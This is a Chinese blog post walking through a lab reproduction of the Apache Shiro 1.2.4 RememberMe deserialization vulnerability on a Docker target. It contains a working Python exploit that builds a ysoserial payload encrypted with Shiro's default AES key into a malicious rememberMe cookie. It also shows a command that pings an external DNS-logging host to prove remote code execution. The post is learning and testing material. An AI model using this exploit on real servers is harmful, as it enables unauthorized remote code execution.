首页 > 技术文章 > Shiro RememberMe 1.2.4 反序列化漏洞复现

Konmu 2020-04-23 12:23 原文

前言

  • 昨天受到我大哥的启发,去看了一下Shiro反序列化漏洞,由于身为渗透菜鸟的我之前压根就没见过这个漏洞,所以就从网上查阅了相关文章开始了我的复现之路
  • 此次复现大体流程是参考的https://www.cnblogs.com/paperpen/p/11312671.html这篇文章,此文仅是记录自己复现流程中遇到的一些坑,希望给后续复现过程中遇到类似问题的小伙伴们能提供一些思路

复现环境准备

  • centos7
  • python2.7
  • 现成的docker环境
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

工具脚本

  • 这里直接找的网上的payload,将脚本保存至/tmp目录下,并命名为shiro_poc.py(名称大家可以随意,我这里是怕后续有问题所以直接按上述参考文章中的名称命名的)
  • 老生常谈的问题了:先将脚本再主机上存储后,再用xshell或者其他工具,使用rz命令上传到虚拟机中
  • 脚本如下,若大家使用的是python3请使用前言中给出的文章里面的脚本,我这里因为使用的是python2复现的所以做了些许修改
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
	print >> fpw,"rememberMe={}".format(payload.decode())
  • 注意1:print(args, file=f1) is the python 3.x syntax. For python 2.x use print >> f1, args.,即这里脚本的最后一句要写作py2中的用法print >> f1, args
  • 注意2:pycrypto这个库,在python2中使用以下命令安装基本就能解决pip install pycrypto -i https://pypi.tuna.tsinghua.edu.cn/simple,此外,最新版本的kali使用的是python3,它里面已经自带了这个库,使用python3的小伙伴,若无法成功安装这个库,可以考虑使用最新版kali(๑•̀ㅂ•́)و✧

ysoserial的jar文件

  • 需依次执行下列指令,且jar的文件名要和脚本中的一样,文件要和脚本在同一目录下(这点很重要( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///),否则会报错无法连接jar文件)
  • 针对执行命令时,我这次遇到的坑见如下
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

mvn命令找不到

  • 也就是未安装mvn,这里要说一下,mvn需要使用java环境,所以要先安装java
  • java安装教程见此篇:https://blog.csdn.net/weixin_42392104/article/details/92832581
  • 安装好java后,就可以安装mvn了,安装mvn教程见此篇:https://www.jianshu.com/p/51e4e84e02cd
  • 上述java的文章中也提到了安装mvn,大家可以自己选择脚本,我安装的时候是用的第二篇

报这个错 NB: JAVA_HOME should point to a JDK not a JRE

  • 若大家安装好两个环境后,遇到报这个错,可以见这篇文章
    `
https://blog.csdn.net/TMaskBoy/article/details/99875484?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2
  • 至此的话,环境就基本准备完成,此外顺带提一下执行mvn package -DskipTests的时候时间会比较长,大家请耐心等待

复现流程

  • 执行脚本python shiro_poc.py "ping vqbxt5.ceye.io"
  • 执行后会生成一个payload.cookie的文件
    Shiro
  • 浏览器打开漏洞环境并登陆进去,点击account page抓包
    Shiro
  • 将抓到的包中的cookie全改为payload.cookie中的
    Shrio
  • 最后去ceye平台查看dns流量记录
    Shiro

结语

  • 本次的复现流程收获了不少,路漫漫其修远,渗透学习之路还很漫长啊(☄⊙ω⊙)☄
  • 最后再次感谢我Brain老哥愿意带我这种小菜鸡(ง •_•)ง

推荐阅读